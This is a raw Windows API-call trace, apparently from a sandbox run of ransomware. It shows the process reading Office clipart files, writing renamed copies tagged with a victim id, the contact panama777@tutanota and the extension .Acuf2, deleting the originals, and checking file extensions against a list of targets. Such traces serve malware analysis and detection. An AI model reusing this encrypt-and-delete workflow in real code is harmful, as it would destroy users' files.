	[0259.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0259.589] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.589] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.589] GetLastError () returned 0x0
	[0259.589] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x9b8, lpOverlapped=0x0) returned 1
	[0259.590] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x9c0, lpOverlapped=0x0) returned 1
	[0259.591] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.591] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.591] SetEndOfFile (hFile=0x33c) returned 1
	[0259.591] CloseHandle (hObject=0x33c) returned 1
	[0259.591] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.592] SetEndOfFile (hFile=0x350) returned 1
	[0259.593] CloseHandle (hObject=0x350) returned 1
	[0259.594] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.594] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 1
	[0259.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.596] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.596] lstrlenW (lpString=".doc") returned 4
	[0259.596] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.596] lstrlenW (lpString=".docx") returned 5
	[0259.596] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.597] lstrlenW (lpString=".pdf") returned 4
	[0259.597] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.597] lstrlenW (lpString=".xls") returned 4
	[0259.597] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.597] lstrlenW (lpString=".xlsx") returned 5
	[0259.597] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.597] lstrlenW (lpString=".ppt") returned 4
	[0259.597] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.597] lstrlenW (lpString=".zip") returned 4
	[0259.597] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.597] lstrlenW (lpString=".rar") returned 4
	[0259.597] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.597] lstrlenW (lpString=".bz2") returned 4
	[0259.597] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.597] lstrlenW (lpString=".7z") returned 3
	[0259.597] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.597] lstrlenW (lpString=".dbf") returned 4
	[0259.597] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.597] lstrlenW (lpString=".1cd") returned 4
	[0259.597] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.597] lstrlenW (lpString=".jpg") returned 4
	[0259.597] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.597] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.597] lstrlenW (lpString=".doc") returned 4
	[0259.597] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.597] lstrlenW (lpString=".docx") returned 5
	[0259.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.598] lstrlenW (lpString=".pdf") returned 4
	[0259.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.598] lstrlenW (lpString=".xls") returned 4
	[0259.598] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.598] lstrlenW (lpString=".xlsx") returned 5
	[0259.598] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.598] lstrlenW (lpString=".ppt") returned 4
	[0259.598] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.598] lstrlenW (lpString=".zip") returned 4
	[0259.598] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.598] lstrlenW (lpString=".rar") returned 4
	[0259.598] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.598] lstrlenW (lpString=".bz2") returned 4
	[0259.598] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.598] lstrlenW (lpString=".7z") returned 3
	[0259.598] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.598] lstrlenW (lpString=".dbf") returned 4
	[0259.598] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.598] lstrlenW (lpString=".1cd") returned 4
	[0259.598] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 63
	[0259.598] lstrlenW (lpString=".jpg") returned 4
	[0259.598] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.598] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.599] lstrlenW (lpString="BS00443_.WMF") returned 12
	[0259.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0259.599] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=1676) returned 1
	[0259.599] CloseHandle (hObject=0x350) returned 1
	[0259.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20
	[0259.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0259.599] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.599] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0259.600] GetLastError () returned 0x0
	[0259.600] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x68c, lpOverlapped=0x0) returned 1
	[0259.796] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x690, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x690, lpOverlapped=0x0) returned 1
	[0259.796] ReadFile (in: hFile=0x350, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.796] WriteFile (in: hFile=0x33c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.796] SetEndOfFile (hFile=0x33c) returned 1
	[0259.797] CloseHandle (hObject=0x33c) returned 1
	[0259.797] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.797] SetEndOfFile (hFile=0x350) returned 1
	[0259.799] CloseHandle (hObject=0x350) returned 1
	[0259.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.799] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 1
	[0259.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.799] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.799] lstrlenW (lpString=".doc") returned 4
	[0259.799] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.799] lstrlenW (lpString=".docx") returned 5
	[0259.799] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.799] lstrlenW (lpString=".pdf") returned 4
	[0259.799] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.799] lstrlenW (lpString=".xls") returned 4
	[0259.799] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.799] lstrlenW (lpString=".xlsx") returned 5
	[0259.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.800] lstrlenW (lpString=".ppt") returned 4
	[0259.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.800] lstrlenW (lpString=".zip") returned 4
	[0259.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.800] lstrlenW (lpString=".rar") returned 4
	[0259.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.800] lstrlenW (lpString=".bz2") returned 4
	[0259.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.800] lstrlenW (lpString=".7z") returned 3
	[0259.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.800] lstrlenW (lpString=".dbf") returned 4
	[0259.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.800] lstrlenW (lpString=".1cd") returned 4
	[0259.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.800] lstrlenW (lpString=".jpg") returned 4
	[0259.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.800] lstrlenW (lpString=".doc") returned 4
	[0259.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.800] lstrlenW (lpString=".docx") returned 5
	[0259.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0259.800] lstrlenW (lpString=".pdf") returned 4
	[0259.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.800] lstrlenW (lpString=".xls") returned 4
	[0259.801] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.801] lstrlenW (lpString=".xlsx") returned 5
	[0259.801] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0259.801] lstrlenW (lpString=".ppt") returned 4
	[0259.801] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.801] lstrlenW (lpString=".zip") returned 4
	[0259.801] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.801] lstrlenW (lpString=".rar") returned 4
	[0259.801] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.801] lstrlenW (lpString=".bz2") returned 4
	[0259.801] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.801] lstrlenW (lpString=".7z") returned 3
	[0259.801] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.801] lstrlenW (lpString=".dbf") returned 4
	[0259.801] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.801] lstrlenW (lpString=".1cd") returned 4
	[0259.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 63
	[0259.801] lstrlenW (lpString=".jpg") returned 4
	[0259.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.801] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.801] lstrlenW (lpString="CLASSIC1.WMF") returned 12
	[0259.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0259.832] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=2422) returned 1
	[0259.832] CloseHandle (hObject=0x35c) returned 1
	[0259.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 0x20
	[0259.848] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0259.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.869] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.869] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0259.869] GetLastError () returned 0x0
	[0259.869] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x976, lpOverlapped=0x0) returned 1
	[0259.871] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x980, lpOverlapped=0x0) returned 1
	[0259.871] ReadFile (in: hFile=0x330, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0259.871] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0259.872] SetEndOfFile (hFile=0x220) returned 1
	[0259.872] CloseHandle (hObject=0x220) returned 1
	[0259.872] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0259.872] SetEndOfFile (hFile=0x330) returned 1
	[0259.874] CloseHandle (hObject=0x330) returned 1
	[0259.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0259.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\classic1.wmf")) returned 1
	[0259.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.874] lstrlenW (lpString=".doc") returned 4
	[0259.874] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.874] lstrlenW (lpString=".docx") returned 5
	[0259.874] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0259.874] lstrlenW (lpString=".pdf") returned 4
	[0259.874] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.874] lstrlenW (lpString=".xls") returned 4
	[0259.874] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.874] lstrlenW (lpString=".xlsx") returned 5
	[0259.874] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0259.875] lstrlenW (lpString=".ppt") returned 4
	[0259.875] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.875] lstrlenW (lpString=".zip") returned 4
	[0259.875] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.875] lstrlenW (lpString=".rar") returned 4
	[0259.875] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.875] lstrlenW (lpString=".bz2") returned 4
	[0259.875] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.875] lstrlenW (lpString=".7z") returned 3
	[0259.875] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.875] lstrlenW (lpString=".dbf") returned 4
	[0259.875] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.875] lstrlenW (lpString=".1cd") returned 4
	[0259.875] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.875] lstrlenW (lpString=".jpg") returned 4
	[0259.875] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.875] lstrlenW (lpString=".doc") returned 4
	[0259.875] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0259.875] lstrlenW (lpString=".docx") returned 5
	[0259.875] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0259.875] lstrlenW (lpString=".pdf") returned 4
	[0259.875] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0259.875] lstrlenW (lpString=".xls") returned 4
	[0259.875] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0259.875] lstrlenW (lpString=".xlsx") returned 5
	[0259.876] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0259.876] lstrlenW (lpString=".ppt") returned 4
	[0259.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0259.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.876] lstrlenW (lpString=".zip") returned 4
	[0259.876] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0259.876] lstrlenW (lpString=".rar") returned 4
	[0259.876] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0259.876] lstrlenW (lpString=".bz2") returned 4
	[0259.876] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0259.876] lstrlenW (lpString=".7z") returned 3
	[0259.876] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0259.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.876] lstrlenW (lpString=".dbf") returned 4
	[0259.876] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0259.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.876] lstrlenW (lpString=".1cd") returned 4
	[0259.876] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0259.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CLASSIC1.WMF") returned 63
	[0259.876] lstrlenW (lpString=".jpg") returned 4
	[0259.876] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0259.876] lstrcmpiW (lpString1=".WMF", lpString2=".Acuf2") returned 1
	[0259.876] lstrlenW (lpString="CRANE.WMF") returned 9
	[0259.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0259.877] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=5270) returned 1
	[0259.877] CloseHandle (hObject=0x330) returned 1
	[0259.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf")) returned 0x20
	[0259.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CRANE.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\crane.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
